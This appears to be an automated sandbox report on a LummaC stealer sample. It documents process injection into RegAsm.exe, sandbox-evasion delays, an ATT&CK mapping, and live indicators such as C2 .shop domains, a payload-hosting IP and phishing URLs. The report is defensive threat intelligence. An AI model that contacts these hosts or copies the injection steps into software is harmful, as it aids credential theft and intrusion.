Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory allocated: CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory allocated: 2780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory allocated: 4780000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Window / User API: threadDelayed 3224			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Window / User API: threadDelayed 1173			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe TID: 6756	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe TID: 5920	Thread sleep count: 3224 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe TID: 5920	Thread sleep count: 1173 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe TID: 6328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe TID: 6820	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6692	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: RegAsm.exe, 00000003.00000002.1291749878.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`3
Source: RegAsm.exe, 00000003.00000002.1291749878.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1252293838.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllEE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00433FA0 LdrInitializeThunk,

3_2_00433FA0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, Modules.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, Modules.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, Modules.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num4 + 8, ref buffer, 4, ref bytesRead)
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, Modules.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64)
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, Modules.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num5, massiv, bufferSize, ref bytesRead)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: miracledzmnqwui.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 438000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C2A008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Clipboard Data	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://147.45.44.131/files/u888.exe	0%	Avira URL Cloud	safe
miracledzmnqwui.shop	100%	Avira URL Cloud	phishing
stamppreewntnq.shop	100%	Avira URL Cloud	phishing
evoliutwoqm.shop	0%	Avira URL Cloud	safe
https://traineiwnqo.shop/.%	100%	Avira URL Cloud	malware
condedqpwqm.shop	100%	Avira URL Cloud	phishing
https://traineiwnqo.shop/apim	100%	Avira URL Cloud	malware
https://locatedblsoqp.shop/api	100%	Avira URL Cloud	malware
https://traineiwnqo.shop/api	100%	Avira URL Cloud	malware
https://traineiwnqo.shop/&%	100%	Avira URL Cloud	malware
locatedblsoqp.shop	100%	Avira URL Cloud	phishing
millyscroqwp.shop	100%	Avira URL Cloud	malware
http://147.45.44.131/files/u888.exeP	0%	Avira URL Cloud	safe
https://miracledzmnqwui.shop/api	100%	Avira URL Cloud	malware
caffegclasiqwp.shop	100%	Avira URL Cloud	malware
https://traineiwnqo.shop/	100%	Avira URL Cloud	malware
http://147.45.44.131	0%	Avira URL Cloud	safe
stagedchheiqwo.shop	100%	Avira URL Cloud	phishing
traineiwnqo.shop	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
miracledzmnqwui.shop	188.114.96.3	true	true	unknown
locatedblsoqp.shop	188.114.97.3	true	true	unknown
traineiwnqo.shop	188.114.97.3	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://locatedblsoqp.shop/api	true	Avira URL Cloud: malware	unknown
miracledzmnqwui.shop	true	Avira URL Cloud: phishing	unknown
https://traineiwnqo.shop/api	true	Avira URL Cloud: malware	unknown
condedqpwqm.shop	true	Avira URL Cloud: phishing	unknown
stamppreewntnq.shop	true	Avira URL Cloud: phishing	unknown
evoliutwoqm.shop	true	Avira URL Cloud: safe	unknown
http://147.45.44.131/files/u888.exe	false	Avira URL Cloud: safe	unknown
locatedblsoqp.shop	true	Avira URL Cloud: phishing	unknown
caffegclasiqwp.shop	true	Avira URL Cloud: malware	unknown
https://miracledzmnqwui.shop/api	true	Avira URL Cloud: malware	unknown
millyscroqwp.shop	true	Avira URL Cloud: malware	unknown
stagedchheiqwo.shop	true	Avira URL Cloud: phishing	unknown
traineiwnqo.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://traineiwnqo.shop/.%	RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://traineiwnqo.shop/&%	RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://traineiwnqo.shop/apim	RegAsm.exe, 00000003.00000002.1291749878.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.131/files/u888.exeP	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.0000000002781000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.00000000027DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://traineiwnqo.shop/	RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.131	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.00000000027DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
188.114.97.3	locatedblsoqp.shop	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	miracledzmnqwui.shop	European Union	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500506
Start date and time:	2024-08-28 15:28:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 24 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): login.live.com, slscr.update.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Simulations

Behavior and APIs

Time	Type	Description
09:29:02	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe modified
09:29:06	API Interceptor	2x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	SecuriteInfo.com.Trojan.InjectNET.17.22811.18368.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/Wpm.exe
	SecuriteInfo.com.Trojan.InjectNET.17.22463.10190.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/6656.exe
	SecuriteInfo.com.Trojan.InjectNET.17.16891.19765.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/Wpm2.exe
	SecuriteInfo.com.Trojan.InjectNET.17.11380.16691.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/421.exe
	Selenium.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/i999.exe
	RunPE.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/WWW.exe
	SecuriteInfo.com.Trojan.InjectNET.17.9325.13976.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/r57.exe
	SecuriteInfo.com.Trojan.InjectNET.17.28316.12072.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/pp.exe
	SecuriteInfo.com.Trojan.InjectNET.17.22691.19885.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/98.exe
	SecuriteInfo.com.Trojan.InjectNET.17.26904.26035.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/98.exe
188.114.97.3	file.exe	Get hash	malicious	LummaC	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	web.ad87h92j.com/4/t.bmp
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	web.ad87h92j.com/4/t.bmp
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/0U9QqTZ6/download
	QUOTATION_AUGQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/e0pM9Trc/download
	steam_module_x64.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	671893cm.n9shka.top/eternalpipeLowProcessDbDatalifewpPublicCdn.php
	http://membership.garenaa.id.vn/css/tunnel.aspx/manager10.jsp	Get hash	malicious	Unknown	Browse	membership.garenaa.id.vn/user/login/images/fb_ico.png
	Bonelessness.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	700987654656676.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.coinwab.com/kqqj/?eJ=7HHhUI7NBywWL5iw6vBoOC1R9nc6cE2Y1UmgCStXrWBBqhu9PJUZU2f6gs8mUMG7LvvYO9vLlwJ8Ne8neaHQQZFpXb2jdQdMFopJRCp5HeIQieixqdhWtgQ=&zPCT=URo4h
	PI#220824.exe	Get hash	malicious	FormBook	Browse	www.bbyul.shop/1i58/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
traineiwnqo.shop	satellites.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	satellites.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
locatedblsoqp.shop	pcsx2-v2.0.2-windows.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CcPVItZy6w.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CcPVItZy6w.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup_v1.43.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	egaAfKJAg6.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	3E4lHODAzI.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	XM7drU6O3G.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
miracledzmnqwui.shop	SecuriteInfo.com.Trojan.InjectNET.17.22811.18368.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.InjectNET.17.22463.10190.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.InjectNET.17.16891.19765.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.InjectNET.17.11380.16691.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Selenium.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.InjectNET.17.9325.13976.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.InjectNET.17.28316.12072.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://google.mg/url?hl=en&q=https://google.nr/url?q=Gl7qws6TcZ&rct=4214&sa=t&esrc=vax&source=Gl7qws6TcZ&cd=Nzpn8b&cad=Gl7qws6TcZD5&ved=Gl7qws6TcZ84214G&uact=82299&url=amp%2Fgoogle.com.pg/amp/cli.re/rp5Y1r#YW5kcmV3QGhlZWRkaWdpdGFsbWVkaWEuY29t%2F&opi=256371986142&usg=lxfGUQNysmkDx&source=gmail&ust=5108318229914681&usg=AOGl7qws6TcZjng81rOWFwZGl7qws6TcZqR81	Get hash	malicious	HTMLPhisher	Browse	104.26.15.4
	mmclaughlin-In Service Agreement-41918.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	mbda-us.comAudiowav012.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://berajpaints.com.pk/tag/dolor/	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://jop2024.sciencesconf.org/	Get hash	malicious	Unknown	Browse	104.17.249.203
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	mbda-us.comAudiowav012.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://hattenforlag.se	Get hash	malicious	Unknown	Browse	104.18.95.41
	eicar-adobe-acrobat-attachment.pdf	Get hash	malicious	EICAR	Browse	172.64.41.3
CLOUDFLARENETUS	https://google.mg/url?hl=en&q=https://google.nr/url?q=Gl7qws6TcZ&rct=4214&sa=t&esrc=vax&source=Gl7qws6TcZ&cd=Nzpn8b&cad=Gl7qws6TcZD5&ved=Gl7qws6TcZ84214G&uact=82299&url=amp%2Fgoogle.com.pg/amp/cli.re/rp5Y1r#YW5kcmV3QGhlZWRkaWdpdGFsbWVkaWEuY29t%2F&opi=256371986142&usg=lxfGUQNysmkDx&source=gmail&ust=5108318229914681&usg=AOGl7qws6TcZjng81rOWFwZGl7qws6TcZqR81	Get hash	malicious	HTMLPhisher	Browse	104.26.15.4
	mmclaughlin-In Service Agreement-41918.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	mbda-us.comAudiowav012.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://berajpaints.com.pk/tag/dolor/	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://jop2024.sciencesconf.org/	Get hash	malicious	Unknown	Browse	104.17.249.203
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	mbda-us.comAudiowav012.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://hattenforlag.se	Get hash	malicious	Unknown	Browse	104.18.95.41
	eicar-adobe-acrobat-attachment.pdf	Get hash	malicious	EICAR	Browse	172.64.41.3
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	147.45.47.253
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.251
	file.exe	Get hash	malicious	Unknown	Browse	147.45.44.168
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	pcsx2-v2.0.2-windows.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	qbvytVOPN0.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.97.3 188.114.96.3
	CcPVItZy6w.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	709876765465.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.97.3 188.114.96.3
	f8Y5y07yHi.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.97.3 188.114.96.3
